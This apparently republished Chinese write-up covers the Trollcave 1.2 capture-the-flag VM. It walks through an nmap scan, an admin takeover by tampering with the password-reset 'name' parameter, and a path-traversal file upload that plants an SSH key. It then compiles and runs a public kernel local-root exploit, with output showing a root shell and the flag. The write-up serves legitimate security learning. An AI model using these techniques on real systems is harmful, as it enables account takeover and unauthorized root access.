zoukankan      html  css  js  c++  java
  • [Write-up]-Trollcave: 1.2

    关于

    • 下载地址:点我
    • Flag:root/flag.txt
    • 哔哩哔哩:视频

    信息收集

    1. 不知道VM虚拟机怎么啦,导入镜像后,用Nmap扫了,发现不了主机。所以这次用了VBox。
    2. vboxnet0的IP为192.168.56.130,Nmap扫192.168.56.1/24,发现虚拟机IP为192.168.56.102
    nmap -T4 -A 192.168.56.102
    
    Starting Nmap 7.01 ( https://nmap.org ) at 2018-07-16 22:38 CST
    Nmap scan report for 192.168.56.102
    Host is up (0.00041s latency).
    Not shown: 998 filtered ports
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
    |_  256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
    80/tcp open  http    nginx 1.10.3 (Ubuntu)
    | http-robots.txt: 1 disallowed entry 
    |_/
    |_http-server-header: nginx/1.10.3 (Ubuntu)
    |_http-title: Trollcave
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
    
    
    1. 发现开了ssh和http就没了。先去看Web的。通过插件看到好像是一个ruby-on-rails框架写的,然后有几篇文章讲关于这个网站的,翻译一下就能知道其中有讲到密码找回的,是新注册的用户才可以的。旁边还有显示在线的用户和新注册的用户。
    2. 随便点开一个用户的主页发现URL是从1~17的数字,17又是新注册的,所以我们猜想1就是管理员用户。
    3. 现在尝试去找回密码,通过Google可以找到这个框架的找回密码的在password_reset后面加new的。详细的可以点这里看一下。
    4. 打开http://192.168.56.102/password_resets/new输入管理员用户King发现不行,因为在上面说了,新注册的用户才可以找回密码。再输入xer这个新注册的用户。
    5. 然后有一段提示:Reset email sent. http://192.168.56.102/password_resets/edit.Ec80xGP57IiFEzBpAtx4AQ?name=xer把name的参数改成管理员用户King,发现可以改掉管理员的密码,改了之后登录管理员看看。
    6. 有可以上传文件的http://192.168.56.102/user_files还有可以开启上传文件的选项。
    7. 这里还有服务器的物理路径/var/www/trollcave/public/uploads/King/crown.png
    8. 这个框架会新建一个rails的用户给Web服务。所以我们打算上传一个shh的公钥,这样就可以直接用ssh连接服务器了。就是上传到../../../../../../home/rails/.ssh/authorized_keys,然后ssh rails@192.168.56.102连上。

    提权

    1. 老套路python -c 'import pty;pty.spawn("/bin/bash")'获取交互终端。
    2. lsb_release -a查看系统的发行版本,准备exp
    rails@trollcave:~$ lsb_release -a
    No LSB modules are available.
    Distributor ID:	Ubuntu
    Description:	Ubuntu 16.04.4 LTS
    Release:	16.04
    Codename:	xenial
    rails@trollcave:~$ 
    rails@trollcave:~$ uname -a
    Linux trollcave 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    
    1. 搜搜exp:searchsploit 4.4.0-116,编译上传到目标主机。
    ----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
     Exploit Title                                                                                                                                 |  Path
                                                                                                                                                   | (/opt/exploit-database/)
    ----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
    Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                                                         | exploits/linux/local/44298.c
    ----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
    Shellcodes: No Result
    Papers: No Result
    
    cp /opt/exploit-database/exploits/linux/local/44298.c exp.c
    gcc exp.c
    scp a.out rails@192.168.56.102:a.out
    
    1. 加权限执行,拿到root权限,完事!
    rails@trollcave:~$ ls
    rails@trollcave:~$ pwd
    /home/rails
    rails@trollcave:~$ ls
    a.out
    rails@trollcave:~$ chmod +x a.out 
    rails@trollcave:~$ ./a.out 
    task_struct = ffff880027d29e00
    uidptr = ffff88002ac26844
    spawning root shell
    root@trollcave:~# 
    root@trollcave:/root# cat flag.txt 
    et tu, dragon?
    
    c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
    root@trollcave:/root# 
    
  • 相关阅读:
    “您的外卖订单正在由机器人配送中”:探访送货机器人进楼宇
    外媒:比特币大陆将于9月IPO 规模或高达180亿美元
    网站被挂马的处理办法以及预防措施
    【学习】linux环境下nginx文件彻底删除
    【学习】SpringBoot之全局异常处理器
    【学习】SpringBoot之自定义拦截器
    _parameter:解决There is no getter for property named in class java.lang.String
    Window安装Redis并设置为开机启动
    SpringBoot 使用定时任务动态执行任务
    网易云信(创建账号,添加好友,获取好友关系,发送系统消息《推送》,删除好友,修改用户信息)
  • 原文地址:https://www.cnblogs.com/Kali-Team/p/12211011.html
Copyright © 2011-2022 走看看